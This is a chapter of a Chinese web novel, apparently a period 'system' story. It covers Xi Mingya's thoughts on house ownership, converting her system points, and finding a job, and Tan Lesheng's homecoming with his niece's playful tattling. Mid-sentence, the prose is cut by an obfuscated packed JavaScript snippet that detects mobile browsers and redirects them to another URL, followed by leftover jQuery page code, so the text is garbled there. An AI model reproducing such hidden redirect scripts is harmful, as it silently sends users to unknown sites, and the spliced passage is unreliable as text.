谭老太明摆着重视前边子女远超谭乐生。她连谭乐生寄回家的信都懒得拆,好恶如此明显,若她有房子的所有权,能撇开一贯偏心的谭民生谭念生,留给最不得她宠的谭乐生? 谭乐生也明确表示过他跟谭民生、谭念生兄妹俩关系不亲近,是同母异父的关系。 所以奚明亚大胆猜测,房子应当是谭乐生生父的产业,老太太没有所属权。 她走得急,没来得及交代一句半句。很有可能并不知道房本的存在,不然照葛嬢嬢的说法,跨院之前遭过贼,钱都能丢,房本哪留得住? 只有一种可能: 房本很早前就在谭乐生那儿,而老太太不知道。是以前嫂子才会说出房子有谭民生一份的话。 奚明亚不担心房子会易主。 谭乐生在几个孩子没人接管时他毫不犹豫转业,选择更稳定的工作,只能表示他人品好,不意味着他是绝世大圣父,养孩子还要给关系不咋地的前嫂子分房。 她觉得他这人小事不计较,大事还是很拎得清的。 只是—— 小屁孩他妈来关阳的话,他跟谭文明是不是要跟着亲妈走? 想到这儿,奚明亚有一丢丢纠结。 这两人离开积分就得流失一半,自己心心念念想换出来卖钱的护肤品得推后。 太耽误事儿了。 可转念一想,反正都是白得的,得失感太重也不好。 这事倒给她提了醒。 这份“事业”不长久啊。 别看眼下三餐能固定打卡,让他们干什么都乖乖干,等到了谭文宣的年龄,估计也要叛逆。 而且养小孩不是种花种树,本身没有标准答案。不是想养得听话孝顺他就能长成那样。 最稳妥的方式是尽快找一份工作,干上两年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12338553|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。有了工作就有明面上的收入,就能把系统商城里能兑换的先兑换出来换成大团结。 否则一旦系统毫无征兆消失,辛辛苦苦攒的分全白搭,都得变泡沫。 那这羊毛岂不是薅了个寂寞? 不行,不行,得赶紧变现才是。 谭乐生回家时,一大一小已经冷战四天了。 准确讲是谭文宣单方面冷战,奚明亚冷眼不接茬,一门心思在找工作上。 “欢欢,舅妈和哥哥弟弟去哪里了?” “舅舅你回来啦~~~” 小姑娘突然听到舅舅的声音,高兴得不得了。小嘴都咧到耳后根了,丢开小木棍就朝谭乐生跑过去,“舅舅,抱!” 另两个跟她差不多大的小女孩跟着喊“舅舅”。 谭乐生抱起她往空中扔了扔。 小丫头乐得嘎嘎笑,“表哥……呼……表哥他们到玩打仗游戏,不带我。” 说女孩子碍事。 “舅妈呢?” “舅妈找工作去啦~~~~”小丫头声音清脆,记着表哥嫌她碍事,不让她当八路军就算了,连鬼子都不让她当,这会儿趁舅妈和哥哥都不在家,赶紧噘着嘴告状:“表哥和舅妈吵架,可凶可凶啦~” “怎么凶的?” 谭乐生将她放下,听了这话不觉得意外。 “表哥这样、” 小丫头眉峰聚成小山,呲牙咧嘴,“哇哇哇哇——” 她记不起吵了什么,小脑瓜子一转,就想到用哇哇代替,哇完立马切换表情。 胖胖的小胳膊抱着胸,嘴角勾起,冷笑,“舅妈这样。” 又哇哇了一遍。 第一次是恶龙咆哮版,第二次哇就很春风拂面,慢条斯理了。 虽然他听不懂哇的内容,但谭乐生能想象出侄子和妻子的神态。 顿时被小姑娘惟妙惟肖的模仿逗乐了。 他左手握拳抵在唇边,掩饰差点捧出来的口水,煞有介事地点点头:“好,舅舅知道了,一会儿我收拾你表哥,你先跟小伙伴玩去吧。” “舅舅揍表哥,用力揍。” 小豆丁板着脸,小米牙磨得嘎吱响,握着小拳头记仇得很。 “知道了,揍他。” 谭乐生点头。 目光柔和,揉揉她造型别致、冲天的桃心辫子,“舅妈给你扎的头发?” 说到辫子,小丫头紧张地退后几步,小心翼翼摸了摸,“对呀~~~~舅舅你不要摸我头发,要摸坏的。” 她可宝贝自己独一无二的发型了。 “好,不摸,舅舅回屋放东西,你们玩。” 这大半个月精神一直处于高度戒备中,别说舒舒服服洗个澡,就连吃饭睡觉时间都没个固定。 尼东毕竟不是自己的地盘,跃进农场又盘根错节,他跟马鸣万分小心,结果还是差点出事。 好在马鸣腹部的枪伤不严重…… 谭乐生捏捏眉心,回了家,强压着的困乏疲倦很快涌了出来,“舅舅先回屋睡觉,欢欢,不要乱跑,知道吗?” 小丫头头也没回,没心没肺:“知道啦~~~舅舅不要啰嗦。” 谭乐生:“……” 旁边俩小姑娘眼馋地看着小伙伴的脑袋,想要同款的心思又冒了出来。 “欢欢,真的不可以让舅妈也帮我扎一个吗?” “不行。” “为啥?” “反正不行。” “可是我也想要,我们大家不是朋友吗~” “……” “那,那好吧,可是不能跟我扎一样的哟。” “好耶,万一舅妈不答应怎么办?” “那你跟我一样抱着她腿撒娇,她肯定会帮你扎。” “真的吗?” “真的,我舅妈可好说话啦~~~” “……”